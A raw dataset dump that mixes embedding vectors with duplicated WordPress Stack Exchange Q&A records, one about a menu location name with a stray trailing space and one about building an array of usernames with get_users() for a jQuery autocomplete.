0.0097198486328125, 0.0312347412109375, 0.0309295654296875, -0.05035400390625, 0.03985595703125, -0.00412750244140625, 0.0230255126953125, 0.0040283203125, 0.0794677734375, 0.01824951171875, -0.0245513916015625, -0.01340484619140625, -0.046783447265625, -0.01641845703125, -0.023406982421875, -0.01371002197265625, -0.02325439453125, 0.007450103759765625, -0.0079803466796875, -0.01055145263671875, -0.0265045166015625, -0.0115203857421875, 0.0199432373046875, 0.0308685302734375, 0.01318359375, 0.04132080078125, -0.06378173828125, -0.02581787109375, 0.027862548828125, -0.005176544189453125, -0.02978515625, 0.00469970703125, -0.0307464599609375, 0.00414276123046875, -0.0279541015625, -0.0212554931640625, 0.01480865478515625, 0.00527191162109375, -0.050079345703125, 0.0166015625, -0.030303955078125, -0.0258636474609375, -0.028656005859375, 0.017120361328125, 0.05340576171875, -0.0220184326171875, -0.04449462890625, -0.0153961181640625, 0.00026869773864746094, 0.035125732421875, -0.040374755859375, 0.00337982177734375, 0.0034923553466796875, 0.0165863037109375, -0.028961181640625, -0.0513916015625, 0.01476287841796875, -0.030426025390625, -0.023162841796875, 0.0163726806640625, -0.035552978515625, -0.02508544921875, -0.045318603515625, -0.029754638671875, 0.053741455078125, 0.018890380859375, -0.0238189697265625, -0.053955078125, 0.01326751708984375, 0.0224456787109375, -0.003849029541015625, -0.0161895751953125, -0.0302276611328125, -0.049560546875, -0.002544403076171875, 0.0033721923828125, 0.09002685546875, -0.0299530029296875, 0.047271728515625, 0.001911163330078125, 0.036712646484375, -0.005672454833984375, -0.005489349365234375, 0.03802490234375, -0.024566650390625, 0.01172637939453125, 0.030242919921875, -0.03533935546875, -0.060577392578125, -0.0301513671875, -0.0286712646484375, -0.0005102157592773438, -0.0140380859375, -0.041900634765625, -0.00812530517578125, 0.04742431640625, 0.0703125, 0.01474761962890625, -0.040496826171875, 0.0055389404296875, -0.007694244384765625, -0.004917144775390625, 0.0004668235778808594, 0.020294189453125, -0.062408447265625, -0.01776123046875, 0.0282135009765625, -0.016021728515625, 0.0033283233642578125, 0.016357421875, -0.0131072998046875, 0.0028324127197265625, 0.040679931640625, -0.0404052734375, 0.0130462646484375, 0.026153564453125, 0.064208984375, -0.0294647216796875, 0.005054473876953125, -0.004367828369140625, 0.0079803466796875, 0.0302276611328125, -0.04010009765625, -0.0152740478515625, -0.00887298583984375, 0.01403045654296875, 0.00045037269592285156, 0.0174560546875, 0.0224761962890625, 0.00826263427734375, -0.005031585693359375, 0.0160369873046875, -0.0196075439453125, -0.022003173828125, -0.049652099609375, 0.0050048828125, 0.0087890625, -0.03564453125, 0.0687255859375, 0.0083465576171875, -0.008880615234375, 0.006214141845703125, 0.05120849609375, -0.03448486328125, -0.03607177734375, 0.00366973876953125, -0.07342529296875, -0.0006542205810546875, -0.0063629150390625, -0.002593994140625, -0.040863037109375, 0.01800537109375, 0.0150909423828125, 0.002872467041015625, 0.015289306640625 ]
81fe90937db6799b909eef54540fbdb81ce4fb45
Wordpress Stackexchange Q: Custom menus displaying all pages instead of set pages Edit, complete function - function themename_setup() { // WordPress Menu Locations register_nav_menus(array( 'primary' => esc_html__( 'Primary', 'themename' ), 'footer ' => esc_html__( 'Footer', 'themename' ), )); } add_action( 'after_setup_theme', themename_setup' ); The primary menu works exactly as expected I've set up a foot menu location in my functions.php file; register_nav_menus(array( 'primary' => esc_html__( 'Primary', 'themename' ), 'footer ' => esc_html__( 'Footer', 'themename' ), )); In the admin, I've created a new menu and assigned it to this new location. However, when I output this menu the menu items retrieved are all of the pages from the admin. <?php wp_nav_menu(array('theme_location' => 'footer')); ?> I only want the pages that have been assigned to this menu A: It's pretty easy then... And it works exactly how it should... You register menu 'footer ' - there's a space at the end (so you have two locations defined 'primary' and 'footer '). And then you use it as 'footer' - without that space. There is no such location defined anywhere ;)
Q: Custom menus displaying all pages instead of set pages Edit, complete function - function themename_setup() { // WordPress Menu Locations register_nav_menus(array( 'primary' => esc_html__( 'Primary', 'themename' ), 'footer ' => esc_html__( 'Footer', 'themename' ), )); } add_action( 'after_setup_theme', themename_setup' ); The primary menu works exactly as expected I've set up a foot menu location in my functions.php file; register_nav_menus(array( 'primary' => esc_html__( 'Primary', 'themename' ), 'footer ' => esc_html__( 'Footer', 'themename' ), )); In the admin, I've created a new menu and assigned it to this new location. However, when I output this menu the menu items retrieved are all of the pages from the admin. <?php wp_nav_menu(array('theme_location' => 'footer')); ?> I only want the pages that have been assigned to this menu A: It's pretty easy then... And it works exactly how it should... You register menu 'footer ' - there's a space at the end (so you have two locations defined 'primary' and 'footer '). And then you use it as 'footer' - without that space. There is no such location defined anywhere ;)
wordpress
{ "language": "en", "length": 177, "provenance": "stackexchange_00019.jsonl.gz:487544", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308132" }
[ 0.057891845703125, 0.01277923583984375, 0.0257110595703125, 0.0196075439453125, 0.00963592529296875, -0.03277587890625, 0.03948974609375, -0.0684814453125, -0.005619049072265625, 0.00843048095703125, -0.031219482421875, 0.00360870361328125, -0.032073974609375, -0.026153564453125, 0.01558685302734375, -0.037109375, 0.033660888671875, -0.00022852420806884766, 0.0283203125, -0.035400390625, 0.03076171875, -0.01381683349609375, 0.02960205078125, 0.1151123046875, 0.037017822265625, -0.0755615234375, 0.0172119140625, 0.01175689697265625, -0.00823211669921875, -0.018585205078125, 0.004932403564453125, 0.031341552734375, 0.0017614364624023438, -0.00389862060546875, 0.036041259765625, -0.0494384765625, -0.01336669921875, 0.00853729248046875, 0.01267242431640625, -0.00010895729064941406, 0.0197296142578125, -0.00547027587890625, 0.034515380859375, 0.031524658203125, 0.01044464111328125, -0.0677490234375, 0.035247802734375, -0.046661376953125, 0.01471710205078125, -0.0214996337890625, 0.020477294921875, -0.0208740234375, 0.0408935546875, -0.0233001708984375, -0.03466796875, -0.0121307373046875, 0.045806884765625, -0.059173583984375, 0.00470733642578125, 0.034332275390625, -0.009185791015625, 0.042633056640625, 0.016021728515625, -0.0328369140625, -0.012542724609375, 0.0011386871337890625, -0.0164642333984375, 0.010498046875, -0.09112548828125, -0.0282745361328125, 0.06048583984375, -0.046173095703125, -0.0186004638671875, 0.0202484130859375, -0.020111083984375, -0.03204345703125, 0.00844573974609375, -0.0217132568359375, 0.01690673828125, 0.032196044921875, -0.0081787109375, 0.01934814453125, -0.055816650390625, -0.01216888427734375, -0.004512786865234375, 0.00881195068359375, -0.0223541259765625, -0.017120361328125, -0.02850341796875, -0.043212890625, -0.03125, -0.0142669677734375, -0.00830078125, -0.046600341796875, -0.035369873046875, -0.0323486328125, 0.042144775390625, 0.07806396484375, -0.0246124267578125, -0.002399444580078125, 0.0178680419921875, -0.039642333984375, 0.040618896484375, -0.06365966796875, 0.02874755859375, 0.08740234375, -0.0087890625, -0.045318603515625, 0.0418701171875, 0.00588226318359375, 0.032928466796875, 0.0005993843078613281, -0.0294189453125, -0.0308074951171875, -0.0073394775390625, 0.0282745361328125, -0.044097900390625, 0.003200531005859375, -0.000415802001953125, -0.002101898193359375, -0.003856658935546875, 0.0408935546875, -0.00251007080078125, -0.0028076171875, -0.0146636962890625, 0.0162200927734375, 0.0240631103515625, -0.06329345703125, -0.0413818359375, 0.0697021484375, -0.01788330078125, -0.0118255615234375, 0.04254150390625, 0.0295562744140625, -0.00958251953125, -0.0360107421875, 0.0027675628662109375, -0.0225830078125, -0.0113525390625, 0.020416259765625, 0.0004901885986328125, -0.0017986297607421875, 0.0236358642578125, -0.017730712890625, -0.0207977294921875, 0.009185791015625, 0.02093505859375, 0.005584716796875, -0.020782470703125, -0.058990478515625, 0.007671356201171875, -0.01082611083984375, 0.019989013671875, 0.0105438232421875, -0.04254150390625, 0.0138092041015625, -0.038055419921875, 0.0183868408203125, -0.0180816650390625, 0.00713348388671875, -0.0399169921875, -0.017059326171875, -0.011444091796875, -0.0718994140625, -0.0731201171875, 0.01557159423828125, 0.00974273681640625, 0.00414276123046875, 0.01123046875, 0.04779052734375, 0.0263214111328125, 0.0037384033203125, -0.0323486328125, 0.01226806640625, 0.00347900390625, -0.0011243820190429688, 0.004131317138671875, 0.0222930908203125, -0.007266998291015625, 0.004596710205078125, -0.03167724609375, -0.061492919921875, -0.003223419189453125, -0.0181732177734375, -0.07415771484375, 0.04541015625, -0.006069183349609375, 0.06488037109375, 0.042510986328125, 0.0004906654357910156, 0.0294036865234375, -0.01067352294921875, -0.03936767578125, 0.01180267333984375, 0.00807952880859375, 0.0059661865234375, -0.027740478515625, 0.0171051025390625, -0.00493621826171875, -0.032684326171875, -0.01442718505859375, -0.00927734375, 0.0328369140625, 0.00016176700592041016, 0.01995849609375, 0.014373779296875, -0.00030612945556640625, 0.026153564453125, 0.051666259765625, -0.006984710693359375, -0.0051727294921875, 0.030426025390625, -0.0015239715576171875, -0.06854248046875, -0.08935546875, 0.0137176513671875, -0.027496337890625, 0.017852783203125, -0.007415771484375, -0.01678466796875, -0.0087890625, -0.0168609619140625, -0.0048675537109375, 0.00960540771484375, 0.0377197265625, -0.0280914306640625, -0.00887298583984375, -0.035736083984375, -0.0171356201171875, -0.002101898193359375, -0.06231689453125, 0.07574462890625, 0.02398681640625, 0.008575439453125, -0.031829833984375, 0.005657196044921875, 0.038299560546875, -0.036651611328125, 0.00402069091796875, 0.032135009765625, 0.0274658203125, 0.047149658203125, -0.0125885009765625, -0.031768798828125, 0.05584716796875, -0.05694580078125, -0.0092315673828125, -0.01264190673828125, -0.005077362060546875, 0.06097412109375, 0.0293731689453125, 0.0294189453125, -0.0007686614990234375, -0.00936126708984375, -0.0111236572265625, 0.0238800048828125, -0.0469970703125, -0.0435791015625, 0.037384033203125, -0.0179290771484375, 0.0187225341796875, 0.00803375244140625, 0.0035247802734375, 0.002471923828125, 0.0202484130859375, 0.0140380859375, 0.0166473388671875, 0.003536224365234375, -0.04632568359375, 0.01274871826171875, 0.023468017578125, 0.01126861572265625, -0.0009684562683105469, -0.005481719970703125, -0.0263824462890625, -0.0185546875, -0.006744384765625, 0.01155853271484375, 0.00839996337890625, -0.0222930908203125, -0.02374267578125, 0.0233612060546875, -0.02655029296875, -0.017303466796875, -0.0162811279296875, -0.0889892578125, -0.005146026611328125, 0.022247314453125, 0.0095672607421875, 0.008392333984375, 0.0268096923828125, 0.0269012451171875, -0.04083251953125, 0.05389404296875, -0.0057373046875, -0.01181793212890625, 0.0662841796875, -0.0304718017578125, 0.006267547607421875, -0.0029735565185546875, 0.0670166015625, 0.040008544921875, 0.034149169921875, -0.040496826171875, -0.0076904296875, -0.00026726722717285156, -0.01446533203125, -0.017364501953125, -0.032501220703125, -0.02130126953125, -0.029266357421875, 0.0223541259765625, 0.018951416015625, 0.01959228515625, -0.0032558441162109375, -0.036773681640625, -0.0290374755859375, -0.00690460205078125, -0.048858642578125, -0.01116943359375, 0.0245513916015625, -0.035308837890625, 0.03179931640625, 0.0010280609130859375, -0.0165557861328125, -0.03216552734375, 0.032958984375, 0.01065826416015625, 0.037017822265625, -0.036224365234375, -0.04754638671875, -0.0270233154296875, -0.080810546875, 0.0035266876220703125, 0.0102081298828125, 0.0203704833984375, -0.002735137939453125, 0.0280303955078125, -0.0024433135986328125, -0.034637451171875, 0.0151214599609375, 0.0099334716796875, 0.006145477294921875, 0.01007843017578125, 0.0218963623046875, -0.013336181640625, -0.0022411346435546875, 0.0135955810546875, -0.0165863037109375, 0.0013437271118164062, -0.00960540771484375, -0.0316162109375, -0.0086517333984375, -0.0010843276977539062, 0.01031494140625, 0.01226043701171875, 0.0207672119140625, 0.006832122802734375, 0.0096893310546875, -0.037567138671875, -0.01445770263671875, -0.03118896484375, -0.05255126953125, 0.022735595703125, 0.06298828125, 0.0000035762786865234375, -0.0225830078125, -0.0189361572265625, 0.0157318115234375, 0.0021572113037109375, 0.054962158203125, -0.0253448486328125, 0.0079803466796875, -0.0177154541015625, -0.01526641845703125, -0.05621337890625, 0.034515380859375, -0.010711669921875, 0.03778076171875, 0.035186767578125, 0.01161956787109375, 0.016143798828125, -0.01259613037109375, -0.019317626953125, -0.08648681640625, 0.05084228515625, -0.03216552734375, 0.028533935546875, -0.0556640625, -0.0341796875, -0.0036258697509765625, 0.11749267578125, -0.0853271484375, -0.0191802978515625, 0.033233642578125, 0.022857666015625, -0.0027294158935546875, -0.00608062744140625, -0.04937744140625, -0.024627685546875, -0.08099365234375, 0.0171661376953125, -0.01348876953125, -0.0367431640625, -0.002086639404296875, -0.01611328125, -0.047210693359375, -0.044647216796875, 0.020904541015625, 0.0021457672119140625, 0.01654052734375, 0.010711669921875, 0.0095062255859375, -0.0230865478515625, 0.021331787109375, -0.016876220703125, -0.050079345703125, -0.0184326171875, -0.019927978515625, 0.040191650390625, 0.01183319091796875, 0.01187896728515625, -0.01496124267578125, 0.03948974609375, 0.03033447265625, 0.020233154296875, 0.0309906005859375, 0.004047393798828125, 0.0389404296875, -0.04296875, -0.00127410888671875, -0.03466796875, 0.0013742446899414062, 0.00841522216796875, -0.05157470703125, -0.004974365234375, -0.0015411376953125, -0.00606536865234375, 0.058868408203125, -0.0477294921875, -0.037200927734375, 0.02227783203125, 0.0169525146484375, -0.01024627685546875, 0.020416259765625, -0.034088134765625, 0.046142578125, -0.032867431640625, -0.0015974044799804688, -0.05438232421875, -0.0310516357421875, 0.0257568359375, 0.0220947265625, 0.035186767578125, 0.0028781890869140625, -0.0157318115234375, 0.042816162109375, 0.060821533203125, 0.0207977294921875, 0.0217132568359375, 0.0190582275390625, -0.043212890625, 0.044586181640625, 0.041412353515625, 0.01007843017578125, 0.01142120361328125, -0.012359619140625, 0.016693115234375, -0.0305938720703125, 0.025604248046875, 0.01250457763671875, -0.002994537353515625, 0.025909423828125, -0.0013332366943359375, -0.0123748779296875, -0.0416259765625, 0.0098419189453125, 0.014434814453125, -0.01031494140625, -0.03466796875, 0.0174102783203125, -0.03466796875, 0.037139892578125, 0.08868408203125, 0.0670166015625, -0.0011377334594726562, 0.034942626953125, 0.06011962890625, -0.0205078125, 0.01296234130859375, 0.0052032470703125, 0.0273895263671875, 0.026123046875, 0.0005640983581542969, 0.00402069091796875, -0.0082550048828125, -0.00731658935546875, 0.051055908203125, 0.00969696044921875, -0.01128387451171875, -0.0592041015625, -0.00908660888671875, 0.05316162109375, -0.0253448486328125, 0.0215911865234375, 0.037628173828125, -0.0218505859375, 0.008636474609375, -0.0163116455078125, -0.00858306884765625, -0.036529541015625, -0.018890380859375, -0.01708984375, 0.058624267578125, -0.0380859375, 0.0092926025390625, 0.0426025390625, 0.05706787109375, -0.0023059844970703125, -0.041961669921875, 0.00807952880859375, 0.007236480712890625, 0.047698974609375, 0.024688720703125, -0.04534912109375, 0.0089874267578125, 0.01299285888671875, 0.002117156982421875, 0.0117645263671875, 0.00579833984375, 0.007198333740234375, 0.011016845703125, -0.021240234375, 0.0037097930908203125, 0.01264190673828125, -0.0156707763671875, 0.01178741455078125, 0.0396728515625, -0.10089111328125, -0.09716796875, -0.043212890625, 0.021697998046875, 0.07183837890625, -0.079833984375, -0.02911376953125, 0.027679443359375, -0.0271148681640625, 0.004901885986328125, -0.01346588134765625, -0.03460693359375, 0.00959014892578125, 0.023468017578125, -0.05181884765625, -0.0006618499755859375, 0.0170745849609375, -0.050628662109375, -0.045440673828125, -0.0175323486328125, -0.034393310546875, 0.05218505859375, -0.05010986328125, 0.022918701171875, -0.02679443359375, 0.007183074951171875, -0.06744384765625, 0.0156707763671875, 0.054840087890625, 0.051361083984375, -0.059295654296875, -0.00553131103515625, -0.039459228515625, -0.0179901123046875, 0.01800537109375, -0.00545501708984375, -0.0394287109375, -0.0203857421875, 0.042205810546875, 0.02374267578125, 0.0010404586791992188, -0.07891845703125, -0.018707275390625, -0.00888824462890625, 0.033905029296875, 0.0247955322265625, -0.020263671875, 0.01311492919921875, -0.007724761962890625, 0.033172607421875, -0.0074920654296875, 0.005672454833984375, 0.0182952880859375, -0.0198211669921875, 0.0187835693359375, -0.0377197265625, -0.016998291015625, -0.0423583984375, -0.00695037841796875, 0.04302978515625, 0.05645751953125, 0.0121917724609375, 0.02020263671875, 0.0019512176513671875, -0.00208282470703125, -0.01007843017578125, -0.00868988037109375, -0.00030541419982910156, -0.00864410400390625, 0.04986572265625, -0.01496124267578125, 0.01148223876953125, 0.0283050537109375, 0.01306915283203125, 0.0258331298828125, -0.0130157470703125, 0.044189453125, -0.0289459228515625, -0.05450439453125, 0.051055908203125, 0.055419921875, 0.0184783935546875, 0.0546875, -0.005382537841796875, 0.0274810791015625, 0.0362548828125, -0.018829345703125, -0.0167999267578125, -0.002986907958984375, 0.03533935546875, -0.006626129150390625, 0.0159149169921875, 0.050201416015625, -0.0129852294921875, -0.007228851318359375, 0.09588623046875, 0.053070068359375, -0.11181640625, 0.007350921630859375, 0.0215301513671875, 0.012115478515625, 0.016571044921875, -0.0047454833984375, -0.015777587890625, -0.0031642913818359375, -0.02203369140625, -0.0011587142944335938, -0.03533935546875, -0.025482177734375, 0.01629638671875, 0.0093231201171875, 0.0015802383422851562, -0.003208160400390625, -0.00965118408203125, -0.00417327880859375, -0.01763916015625, -0.0085296630859375, 0.005741119384765625, -0.042388916015625, 0.01141357421875, -0.03759765625, -0.0044403076171875, -0.0294647216796875, 0.0220947265625, -0.03375244140625, 0.0333251953125, 0.0260772705078125, -0.0215301513671875, 0.007190704345703125, 0.0275421142578125, -0.0261077880859375, 0.029754638671875, -0.015472412109375, 0.00881195068359375, -0.02496337890625, -0.002338409423828125, 0.05010986328125, -0.020538330078125, -0.0219879150390625, 0.016876220703125, -0.03839111328125, -0.03875732421875, -0.0190582275390625, -0.0499267578125, 0.087890625, -0.04705810546875, -0.0156402587890625, -0.031494140625, 0.01300048828125, 0.034210205078125, -0.005748748779296875, 0.06646728515625, -0.05718994140625, -0.036590576171875, 0.021575927734375, -0.024017333984375, -0.0072021484375, -0.01044464111328125, -0.0023632049560546875, 0.09619140625, 0.007045745849609375, -0.049530029296875, 0.0005445480346679688, 0.06884765625, -0.01146697998046875, 0.07489013671875, -0.0306243896484375, 0.03582763671875, 0.0220489501953125, 0.03753662109375, -0.035369873046875, -0.0161590576171875, 0.01068115234375, 0.04522705078125, 0.0261383056640625, 0.00466156005859375, 0.003448486328125, 0.051971435546875, 0.0897216796875, 0.035919189453125, 0.007236480712890625, -0.005870819091796875, -0.0205230712890625, -0.0119476318359375, 0.0018949508666992188, -0.01064300537109375, 0.02899169921875, -0.035400390625, -0.046173095703125, -0.01947021484375, 0.0171661376953125, 0.02923583984375, -0.0202484130859375, -0.01534271240234375, -0.0263214111328125, -0.00811004638671875, 0.0005426406860351562, 0.038726806640625, 0.015960693359375, 0.004199981689453125, 0.0175018310546875, -0.0169525146484375, 0.00591278076171875, -0.0164794921875, 0.03363037109375, 0.008880615234375, 0.01312255859375, 0.0122222900390625, 0.016754150390625, 0.01336669921875, -0.016571044921875, -0.0026760101318359375, 0.006916046142578125, -0.002712249755859375, 0.028656005859375, 0.007572174072265625, 0.04083251953125, -0.045318603515625, -0.0275115966796875, 0.01263427734375, 0.036102294921875, -0.020355224609375, -0.0290069580078125, -0.0024852752685546875, -0.01334381103515625, 0.0010976791381835938, -0.01366424560546875, 0.0005507469177246094, 0.0122833251953125, -0.003009796142578125, -0.0228118896484375, -0.01264190673828125, 0.00463104248046875, 0.0280609130859375, -0.01105499267578125, -0.0335693359375, -0.002643585205078125, 0.0023937225341796875, -0.0239715576171875, 0.007720947265625, 0.03125, 0.0246429443359375, -0.00524139404296875, 0.04693603515625, -0.006313323974609375, -0.0008573532104492188, -0.01885986328125, 0.0144805908203125, -0.014556884765625, 0.033355712890625, -0.05633544921875, -0.030426025390625, 0.005893707275390625, 0.04229736328125, 0.01010894775390625, 0.0196533203125, 0.0277557373046875, 0.0113677978515625, 0.01021575927734375, -0.00785064697265625, 0.0175933837890625, -0.0287322998046875, -0.04498291015625, -0.005970001220703125, -0.041229248046875, 0.0183563232421875, 0.00969696044921875, -0.008148193359375, 0.032958984375, 0.0239410400390625, 0.01258087158203125, -0.0022068023681640625, 0.0001863241195678711, -0.02655029296875, -0.0255889892578125, 0.0103759765625, 0.0345458984375, 0.037506103515625, -0.086181640625, -0.04364013671875, 0.0195159912109375, -0.0217742919921875, 0.0311431884765625, 0.047149658203125, 0.00005447864532470703, -0.0040130615234375, 0.0103302001953125, -0.016265869140625, 0.01357269287109375, -0.002422332763671875, 0.0180816650390625, 0.059844970703125, 0.0118408203125, 0.0287017822265625, -0.00543975830078125, -0.00643157958984375, 0.00691986083984375, 0.01230621337890625, 0.006076812744140625, 0.039031982421875, -0.0143585205078125, 0.004337310791015625, -0.021148681640625, 0.0206298828125, -0.0300750732421875, -0.0166778564453125, -0.0006771087646484375, 0.01715087890625, 0.0210723876953125, -0.00968170166015625, -0.039276123046875, 0.0108489990234375, 0.04547119140625, -0.038330078125, 0.0056915283203125, 0.01110076904296875, 0.01273345947265625, -0.0240478515625, 0.0195770263671875, -0.010162353515625, -0.049835205078125, -0.0200958251953125, 0.0199127197265625, 0.007198333740234375, 0.058746337890625, 0.0109405517578125, 0.047027587890625, 0.0303497314453125, -0.02911376953125, 0.021331787109375, -0.0555419921875, 0.04254150390625, 0.04144287109375, 0.041473388671875, -0.025604248046875, -0.01442718505859375, -0.0244598388671875, -0.001277923583984375, -0.0030994415283203125, 0.005268096923828125, -0.007404327392578125, -0.03326416015625, 0.060455322265625, 0.03369140625, 0.040863037109375, -0.0283660888671875, 0.0034389495849609375, 0.06268310546875, 0.00392913818359375, 0.0203094482421875, -0.039764404296875, -0.017852783203125, -0.03778076171875, -0.001972198486328125, 0.0170745849609375, -0.00707244873046875, -0.00830078125, -0.0328369140625, 0.0005078315734863281, 0.0189361572265625, 0.00482940673828125, -0.040863037109375, -0.00348663330078125, 0.0018062591552734375, 0.044708251953125, -0.023895263671875, 0.0055999755859375, -0.01557159423828125, -0.0311737060546875, -0.020294189453125, 0.020599365234375, -0.0308074951171875, 0.022430419921875, 0.027191162109375, -0.0301361083984375, -0.00444793701171875, -0.0027751922607421875, -0.049652099609375, -0.0168304443359375, -0.0002491474151611328, 0.0249481201171875, 0.02374267578125, -0.0278167724609375, -0.0274658203125, -0.0005083084106445312, 0.01580810546875, -0.032440185546875, 0.00844573974609375, -0.044830322265625, -0.0196990966796875, -0.0021343231201171875, -0.01348876953125, 0.01050567626953125, -0.035186767578125, -0.062103271484375, 0.043853759765625, -0.00091552734375, -0.0246734619140625, -0.0289764404296875, 0.027587890625, -0.01995849609375, 0.038848876953125, 0.004589080810546875, -0.0190582275390625, 0.018280029296875, 0.027862548828125, -0.002887725830078125, 0.057464599609375, 0.0159912109375, -0.01424407958984375, -0.0294036865234375, -0.011138916015625, -0.0166778564453125, -0.01264190673828125, 0.02679443359375, -0.0134735107421875, 0.0240325927734375, 0.049652099609375, -0.023406982421875, -0.04791259765625, -0.0230712890625, -0.048126220703125, -0.0008034706115722656, -0.0301666259765625, -0.018096923828125, -0.00839996337890625, 0.06500244140625, 0.008819580078125, 0.0201873779296875, -0.0260162353515625, -0.02459716796875, -0.04998779296875, 0.020111083984375, -0.008392333984375, -0.0106658935546875, -0.050628662109375, 0.0052947998046875, 0.004970550537109375, -0.0277099609375, -0.040313720703125, 0.00307464599609375, -0.06585693359375, -0.00481414794921875, -0.013336181640625, 0.024688720703125, -0.059661865234375, -0.05633544921875, 0.0302734375, -0.0194091796875, -0.012237548828125, -0.02215576171875, 0.0537109375, -0.0160675048828125, -0.0089263916015625, 0.01873779296875, 0.01525115966796875, -0.049285888671875, -0.00033164024353027344, -0.000021219253540039062, 0.00621795654296875, -0.03326416015625, -0.0180511474609375, -0.0038928985595703125, 0.035552978515625, 0.007320404052734375, 0.046783447265625, -0.026092529296875, 0.07037353515625, 0.0191650390625, 0.034576416015625, -0.01142120361328125, 0.053497314453125, -0.0037403106689453125, 0.034027099609375, -0.027557373046875, -0.01000213623046875, 0.0051116943359375, -0.0352783203125, -0.0019817352294921875, -0.0302276611328125, -0.013671875, -0.058868408203125, 0.00923919677734375, -0.028594970703125, -0.01181793212890625, 0.03033447265625 ]
c6baeac2b660d3d6f6ec43d0b94022f832a8edb4
Wordpress Stackexchange Q: How to get WordPress Username in Array format I want to create an Autocomplete function in WordPress. I want a search field from where username can be searched. I am using following JQuery UI. <label>Users</label> <input type="text" name="user_name" id="user-name" /> <?php $get_arr_user = array('John', 'Rogers', 'Paul', 'Amanda', 'Peter'); ?> <script> jQuery(document).ready(function($) { var availableTags = <?php echo json_encode($get_arr_user); ?>; $( "#user-name" ).autocomplete({ source: availableTags }); }); </script> My problem is that I am not able to get the list of Usernames in this format - array('John', 'Rogers', 'Paul', 'Amanda', 'Peter'); How do I get that? A: The get_users function will give you an array of user objects, from which you can extract an array of user names. Like this: $args = array(); // define in case you want not all users but a selection $users = get_users( $args ); $user_names = array(); foreach ( $users as $user ) { $user_names[] = $user->user_login; } Now $user_names is an array with login names. You can, off course, also use user_nicename, last_name, or whatever info is available in the wp_user object
Q: How to get WordPress Username in Array format I want to create an Autocomplete function in WordPress. I want a search field from where username can be searched. I am using following JQuery UI. <label>Users</label> <input type="text" name="user_name" id="user-name" /> <?php $get_arr_user = array('John', 'Rogers', 'Paul', 'Amanda', 'Peter'); ?> <script> jQuery(document).ready(function($) { var availableTags = <?php echo json_encode($get_arr_user); ?>; $( "#user-name" ).autocomplete({ source: availableTags }); }); </script> My problem is that I am not able to get the list of Usernames in this format - array('John', 'Rogers', 'Paul', 'Amanda', 'Peter'); How do I get that? A: The get_users function will give you an array of user objects, from which you can extract an array of user names. Like this: $args = array(); // define in case you want not all users but a selection $users = get_users( $args ); $user_names = array(); foreach ( $users as $user ) { $user_names[] = $user->user_login; } Now $user_names is an array with login names. You can, off course, also use user_nicename, last_name, or whatever info is available in the wp_user object A: Look at get_users() function. <?php $users = get_users(); foreach( $users as $user ) { // get user names from the object and add them to the array $get_arr_user[] = $user->display_name; } And you'll get the array similar to following: Array ( [0] => John Doe [1] => Jane Doe [2] => Baby Doe ) I'm pretty sure you'll want to exclude admins, order names and so on. So, look at the documentation to find out more get_users() arguments. A: The other answers are correct, but it's possible to achive the same thing with less code using wp_list_pluck(): $users = get_users(); $user_names = wp_list_pluck( $users, 'display_name' ); wp_list_pluck() used that way will get the display_name field of all the users in an array without needing to do a loop.
wordpress
{ "language": "en", "length": 308, "provenance": "stackexchange_00019.jsonl.gz:487549", "question_score": "11", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308150" }
[ 0.031494140625, 0.00846099853515625, -0.0219573974609375, -0.006450653076171875, 0.0117340087890625, -0.038787841796875, 0.05072021484375, -0.0101165771484375, -0.035125732421875, 0.0309600830078125, -0.00927734375, 0.03277587890625, -0.021759033203125, -0.003444671630859375, -0.0098114013671875, -0.040985107421875, 0.0066070556640625, -0.017333984375, -0.02691650390625, -0.0301055908203125, -0.001224517822265625, -0.0278778076171875, -0.004512786865234375, 0.0239105224609375, 0.01120758056640625, 0.00007098913192749023, 0.071533203125, -0.023040771484375, 0.0546875, 0.0242919921875, 0.0170135498046875, -0.059234619140625, 0.0023593902587890625, 0.0166778564453125, -0.006282806396484375, 0.01020050048828125, 0.026580810546875, -0.0015544891357421875, 0.035919189453125, -0.0078887939453125, 0.02734375, -0.0008931159973144531, -0.030792236328125, 0.0310821533203125, -0.03155517578125, -0.045013427734375, 0.03900146484375, 0.000247955322265625, 0.034912109375, -0.020172119140625, 0.0113372802734375, 0.037200927734375, 0.0157470703125, 0.003665924072265625, 0.003021240234375, 0.05072021484375, -0.04132080078125, -0.0012941360473632812, 0.03924560546875, 0.006946563720703125, -0.01239013671875, -0.040618896484375, 0.037109375, -0.012908935546875, 0.0003669261932373047, -0.00337982177734375, -0.004421234130859375, 0.0199737548828125, -0.01568603515625, -0.01861572265625, -0.0003268718719482422, -0.01605224609375, -0.01526641845703125, 0.023345947265625, -0.01442718505859375, -0.02288818359375, -0.0274658203125, -0.04595947265625, 0.028656005859375, 0.0279541015625, -0.018524169921875, 0.0240478515625, -0.07568359375, 0.037567138671875, -0.017822265625, 0.060455322265625, -0.024871826171875, -0.03167724609375, -0.0019664764404296875, -0.0277099609375, -0.006816864013671875, -0.0256500244140625, -0.03753662109375, 0.04901123046875, 0.011199951171875, -0.0091400146484375, -0.00988006591796875, 0.011962890625, -0.0109710693359375, 0.011322021484375, 0.00437164306640625, -0.02435302734375, 0.0290069580078125, -0.0293426513671875, -0.020599365234375, 0.040191650390625, 0.021636962890625, 0.07110595703125, 0.0078887939453125, 0.019500732421875, -0.00021469593048095703, -0.043609619140625, -0.03314208984375, -0.035797119140625, -0.01153564453125, 0.030548095703125, -0.059356689453125, 0.020843505859375, -0.0024242401123046875, 0.01361846923828125, -0.0230560302734375, 0.0037975311279296875, -0.034393310546875, 0.0186309814453125, 0.022003173828125, 0.01483917236328125, 0.0163116455078125, 0.006771087646484375, -0.0206146240234375, 0.0199127197265625, -0.01202392578125, 0.00893402099609375, 0.027252197265625, 0.03973388671875, -0.0002110004425048828, -0.0221405029296875, -0.0014438629150390625, -0.040985107421875, -0.022003173828125, 0.0295867919921875, 0.021728515625, -0.06512451171875, -0.0294189453125, 0.01056671142578125, 0.0180511474609375, -0.01629638671875, 0.005809783935546875, 0.0201263427734375, 0.017364501953125, 0.0261077880859375, -0.01025390625, -0.0006175041198730469, -0.006595611572265625, 0.040374755859375, 0.0239715576171875, 0.051300048828125, 0.03424072265625, -0.0118865966796875, -0.0263519287109375, -0.00714874267578125, 0.01580810546875, -0.0077972412109375, -0.01250457763671875, -0.00463104248046875, -0.0484619140625, 0.007648468017578125, -0.00421905517578125, -0.00984954833984375, 0.0308990478515625, -0.0141143798828125, -0.01050567626953125, 